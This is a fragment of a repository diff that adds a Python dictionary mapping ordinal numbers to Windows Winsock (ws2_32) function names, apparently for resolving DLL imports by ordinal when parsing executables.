443: b"UnRegisterTypeLibForUser",
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
ord_names = {
|
||||
1: b"accept",
|
||||
2: b"bind",
|
||||
3: b"closesocket",
|
||||
4: b"connect",
|
||||
5: b"getpeername",
|
||||
6: b"getsockname",
|
||||
7: b"getsockopt",
|
||||
8: b"htonl",
|
||||
9: b"htons",
|
||||
10: b"ioctlsocket",
|
||||
11: b"inet_addr",
|
||||
12: b"inet_ntoa",
|
||||
13: b"listen",
|
||||
14: b"ntohl",
|
||||
15: b"ntohs",
|
||||
16: b"recv",
|
||||
17: b"recvfrom",
|
||||
18: b"select",
|
||||
19: b"send",
|
||||
20: b"sendto",
|
||||
21: b"setsockopt",
|
||||
22: b"shutdown",
|
||||
23: b"socket",
|
||||
24: b"GetAddrInfoW",
|
||||
25: b"GetNameInfoW",
|
||||
26: b"WSApSetPostRoutine",
|
||||
27: b"FreeAddrInfoW",
|
||||
28: b"WPUCompleteOverlappedRequest",
|
||||
29: b"WSAAccept",
|
||||
30: b"WSAAddressToStringA",
|
||||
31: b"WSAAddressToStringW",
|
||||
32: b"WSACloseEvent",
|
||||
33: b"WSAConnect",
|
||||
34: b"WSACreateEvent",
|
||||
35: b"WSADuplicateSocketA",
|
||||
36: b"WSADuplicateSocketW",
|
||||
37: b"WSAEnumNameSpaceProvidersA",
|
||||
38: b"WSAEnumNameSpaceProvidersW",
|
||||
39: b"WSAEnumNetworkEvents",
|
||||
40: b"WSAEnumProtocolsA",
|
||||
41: b"WSAEnumProtocolsW",
|
||||
42: b"WSAEventSelect",
|
||||
43: b"WSAGetOverlappedResult",
|
||||
44: b"WSAGetQOSByName",
|
||||
45: b"WSAGetServiceClassInfoA",
|
||||
46: b"WSAGetServiceClassInfoW",
|
||||
47: b"WSAGetServiceClassNameByClassIdA",
|
||||
48: b"WSAGetServiceClassNameByClassIdW",
|
||||
49: b"WSAHtonl",
|
||||
50: b"WSAHtons",
|
||||
51: b"gethostbyaddr",
|
||||
52: b"gethostbyname",
|
||||
53: b"getprotobyname",
|
||||
54: b"getprotobynumber",
|
||||
55: b"getservbyname",
|
||||
56: b"getservbyport",
|
||||
57: b"gethostname",
|
||||
58: b"WSAInstallServiceClassA",
|
||||
59: b"WSAInstallServiceClassW",
|
||||
60: b"WSAIoctl",
|
||||
61: b"WSAJoinLeaf",
|
||||
62: b"WSALookupServiceBeginA",
|
||||
63: b"WSALookupServiceBeginW",
|
||||
64: b"WSALookupServiceEnd",
|
||||
65: b"WSALookupServiceNextA",
|
||||
66: b"WSALookupServiceNextW",
|
||||
67: b"WSANSPIoctl",
|
||||
68: b"WSANtohl",
|
||||
69: b"WSANtohs",
|
||||
70: b"WSAProviderConfigChange",
|
||||
71: b"WSARecv",
|
||||
72: b"WSARecvDisconnect",
|
||||
73: b"WSARecvFrom",
|
||||
74: b"WSARemoveServiceClass",
|
||||
75: b"WSAResetEvent",
|
||||
76: b"WSASend",
|
||||
77: b"WSASendDisconnect",
|
||||
78: b"WSASendTo",
|
||||
79: b"WSASetEvent",
|
||||
80: b"WSASetServiceA",
|
||||
81: b"WSASetServiceW",
|
||||
82: b"WSASocketA",
|
||||
83: b"WSASocketW",
|
||||
84: b"WSAStringToAddressA",
|
||||
85: b"WSAStringToAddressW",
|
||||
86: b"WSAWaitForMultipleEvents",
|
||||
87: b"WSCDeinstallProvider",
|
||||
88: b"WSCEnableNSProvider",
|
||||
89: b"WSCEnumProtocols",
|
||||
90: b"WSCGetProviderPath",
|
||||
91: b"WSCInstallNameSpace",
|
||||
92: b"WSCInstallProvider",
|
||||
93: b"WSCUnInstallNameSpace",
|
||||
94: b"WSCUpdateProvider",
|
||||
95: b"WSCWriteNameSpaceOrder",
|
||||
96: b"WSCWriteProviderOrder",
|
||||
97: b"freeaddrinfo",
|
||||
98: b"getaddrinfo",
|
||||
99: b"getnameinfo",
|
||||
101: b"WSAAsyncSelect",
|
||||
102: b"WSAAsyncGetHostByAddr",
|
||||
103: b"WSAAsyncGetHostByName",
|
||||
104: b"WSAAsyncGetProtoByNumber",
|
||||
105: b"WSAAsyncGetProtoByName",
|
||||
106: b"WSAAsyncGetServByPort",
|
||||
107: b"WSAAsyncGetServByName",
|
||||
108: b"WSACancelAsyncRequest",
|
||||
109: b"WSASetBlockingHook",
|
||||
110: b"WSAUnhookBlockingHook",
|
||||
111: b"WSAGetLastError",
|
||||
112: b"WSASetLastError",
|
||||
113: b"WSACancelBlockingCall",
|
||||
114: b"WSAIsBlocking",
|
||||
115: b"WSAStartup",
|
||||
116: b"WSACleanup",
|
||||
151: b"__WSAFDIsSet",
|
||||
500: b"WEP",
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user